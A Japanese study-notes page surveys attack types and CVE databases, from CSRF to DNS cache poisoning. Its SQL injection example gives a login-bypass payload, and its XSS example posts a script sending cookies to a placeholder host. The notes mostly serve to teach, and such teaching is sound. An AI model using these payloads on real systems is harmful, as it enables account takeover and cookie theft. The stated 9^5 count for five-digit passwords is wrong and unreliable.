サイバー攻撃@セキュリティ¶
はじめに¶
本サイトにつきまして、以下をご認識のほど宜しくお願いいたします。
01. CVE:Common Vulnerabilities and Exposures)¶
CVEとは¶
報告された脆弱性レポートについて、一意な番号をつけて管理したデータベースのこと。
CVEのデータベースの種類¶
▼ GitHub¶
GitHubで脆弱性に関するIssueが立てられ、これが致命的であると、CVEに掲載される。
GitHub上のOSSのCVEは、GitHub Advisory Databaseで検索できる。
また、各リポジトリのセキュリティの項目で各OSSのCVEを確認できる。
▼ GitLab¶
GitLab上のOSSのCVEは、GitLab Advisory Databaseで検索できる。
▼ RedHat¶
RedHat上のOSSのCVEは、RedHat CVEデータベースで検索できる。
その他のデータベース¶
- NVD
- ICAT
02. サイバー攻撃の種類¶
Man In The Middle攻撃 (中間者攻撃)¶
▼ 中間者攻撃とは¶
二者間の通信に割り込み、盗聴/改竄/成りすましによって通信を攻撃する。
CSRF:Cross-Site Request Forgeries¶
▼ CSRFとは¶
ユーザーがとあるフォームからログイン後、セッションIDを保持したまま悪意のあるサイトに接続したとする。
悪意のあるサイトのサーバーは、ユーザーのセッションIDを使用して、ログインしていた元のサイトのサーバーを攻撃する。
サーバーは、正しいフォームからのリクエストと誤認してしまい、攻撃を許容してしまう。
セッションID固定化¶
▼ セッションID固定化とは¶
記入中...
Directory traversal¶
▼ Directory traversalとは¶
traversalは、横断する (ディレクトリを乗り越える) の意味。
パス名を使用してファイルを指定し、管理者の意図していないファイルを不正に参照またはダウンロードする。
DoS攻撃:Denial of Service¶
▼ DoS攻撃、DDos攻撃とは¶
webサーバーに大量のリクエストを送信し、障害を起こす手法。
クライアントが1つの場合はDos攻撃、複数の場合はDDos攻撃という。
Dos攻撃はIPアドレスを指定して防御できるが、DDos攻撃はそれができない。
そのため、同一IPアドレスのリクエスト数制限や特定の国を指定したIPアドレス制限が必要になる。
▼ EDos¶
webサーバーに大量のリクエストを送信し、クラウドサービスの重量課金額を上げさせる手法。
SQLインジェクション¶
▼ SQLインジェクションとは¶
DBのクエリのパラメーターとなる入力に、不正な文字列を入力して不正なクエリを送信させ、DBの情報を抜き取る手法。
ただし、近年は減少傾向にある。
▼ 攻撃例¶
例えば、アプリの認証ロジックに以下のようなSQLがあるとする。
SELECT * from USER where USER_NAME = '{user_name}' and PASSWORD = '{password}'
この時、ログインの入力フォームに以下を入力する。
- ユーザー名:
foo
- パスワード:
aaa' or '1' ='1
これにより、以下のSQLを実行することになる。
SELECT * from USER where USER_NAME = 'foo' and PASSWORD = 'aaa' or '1' ='1'
このSQLは、'1' ='1'
によりtrue
となり、処理に成功してしまう。
XSS:Cross Site Scripting¶
▼ XSSとは¶
WebアプリによるHTML出力のエスケープ処理の欠陥を悪用し、利用者のWebブラウザで悪意のあるスクリプトを実行させる手法。
悪意のある第三者が正常なサイトに事前にスクリプトを埋め込み、これを実行してしまったユーザーの情報を盗む。
▼ 攻撃例¶
例えば、複数人が使用する掲示板アプリで、悪意のある人が以下のような投稿をしたとする。
<body>
<p>今日の気分は<script>fetch('https://<Cookieの送信先サイト>/?cookie_data='+document.cookies);</script>だよ</p>
</body>
他の人が掲示板アプリを開くと、上記の投稿内のスクリプトが実行される。
スクリプトは、Cookieをサイトに送信する。
パスワードリスト攻撃¶
▼ パスワードリスト攻撃とは¶
漏洩したパスワードを使用して、正面から正々堂々とアクセスする手法。
Brute-force攻撃とReverse Brute-force攻撃¶
▼ Brute-force攻撃とReverse Brute-force攻撃とは¶
Brute-forceは力ずくの意味。IDを固定して、パスワードを総当たりで試す手法。
例えば、5桁数字のパスワードなら、9の5乗通りの組み合わせを試す。
一方で、Reverse Brute-forceは、パスワードを固定して、IDを総当たりで試す手法。
▼ パスワードのパターン数¶
記入中...
レインボー攻撃¶
▼ レインボー攻撃とは¶
レインボーテーブルの文字列とハッシュ値の対応関係を元にして、ハッシュ化された暗号からパスワードを推測する手法。
ソーシャルエンジニアリング¶
▼ ソーシャルエンジニアリングとは¶
技術的な手法ではなく、物理的な手法 (例:盗み見、盗み聞き、成りすまし、詐欺など) によってパスワードを取得し、アクセスする手法。
踏み台攻撃¶
▼ 踏み台攻撃とは¶
対象のインターネット内のパソコンに攻撃プログラムを仕込んで配置し、攻撃者からの命令でサーバーを攻撃させる手法 (※ボットを使用した攻撃など)
DNS Cache Poisoning¶
▼ DNS Cache Poisoningとは¶
キャッシュDNSサーバーが持つIPアドレスを偽のIPアドレスに変え、偽のサイトに強制的に接続させる手法。
Back Door¶
▼ Back Doorとは¶
例えば、サイトのカード決済画面やサーバーに潜ませることによって、カード情報を第三者に送信する手法。